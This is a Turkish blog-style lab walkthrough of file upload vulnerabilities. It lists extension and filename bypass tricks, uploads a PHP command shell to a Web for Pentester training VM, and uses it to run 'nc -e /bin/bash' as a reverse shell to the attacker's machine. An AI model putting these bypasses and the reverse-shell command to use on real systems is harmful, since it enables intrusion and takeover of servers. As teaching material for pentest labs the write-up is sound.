File Upload Nedir ?
File upload zafiyeti, web uygulamaları üzerinde bulunan dosya yükleme kısımlarına zararlı içeriğie sahip dosyalar yükleyerek web uygulaması içerisine zararlı yazılım enjekte etmemizi sağlayan tehlikeli bir zafiyet çeşididir.
Bir jpg/png uzantılı dosya yükleme kısmına bir zararlı içeriğe sahip php reverse shell dosyası yüklersek sistem üzerinde terminal erişimi açabiliriz veya bir zararlı yazılıma sahip ‘.py’ uzantılı bir python dosyası yükleyebilirsek sistemde o dosyamızı çalıştırabiliriz.
Eğer dosya yükleme kısmında yüklenecek dosyaya ait bir uzantı filtrelemesi yapılmamışsa zafiyetin sömürülmesi daha kolay olucaktır.

File UPLOAD bypass techniques
Googleden arama yaparak “file upload bypass teknikleri” diye birçok sayfa karşımıza cıkacakdır bunları tek tek inceleyebilirsiniz.
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Şimdi bu zaafiyeti uygulama kısmına geliyoruz.Bunun için Webforpentester makinamızdan faydalanacağız.
Webforpentester makinamıza bağlanıp File Upload / Example 1 bölümüne geliyoruz. Bizden bir image dosyası yüklememizi istiyor. (.jpg, .png vb.)

Biz burda jpeg dosyası değilde .php dosyası yüklemeyi deniyeceğiz. .php dosyası içinde aşağıdaki cmd komut satırı bulunmakta.
Yüklemeyi başardık şimdi bu zaafiyetden faydalanalım.

Url kısmında http://192.168.1.110/upload/images/cmd.php olarak belirecektir. burada birçok komut çalıştırabilrsiniz örneğin biz bir netcat dinlemesi başlatmayı deniyelim.
cmd.php? kısmının arkasına kali ipmizi yazalım yani
https://192.168.1.110/upload/images/cmd.php?cmd=nc -e /bin/bash 192.168.1.100 1234
Şimdi kali makinamıza gelip terminali açıyoruz ve
nc -lvnp 1234
komutuyla dinleme başlatıyoruz.

ve netcat aracını kullanarak sisteme girmeye başardık. Bundan sonra bütün komutları çalışdırabiliriz sistemin içerisindeyiz, bundan sonrası size kalmış.
bir sonraki zaafiyet de görüşmek üzere :/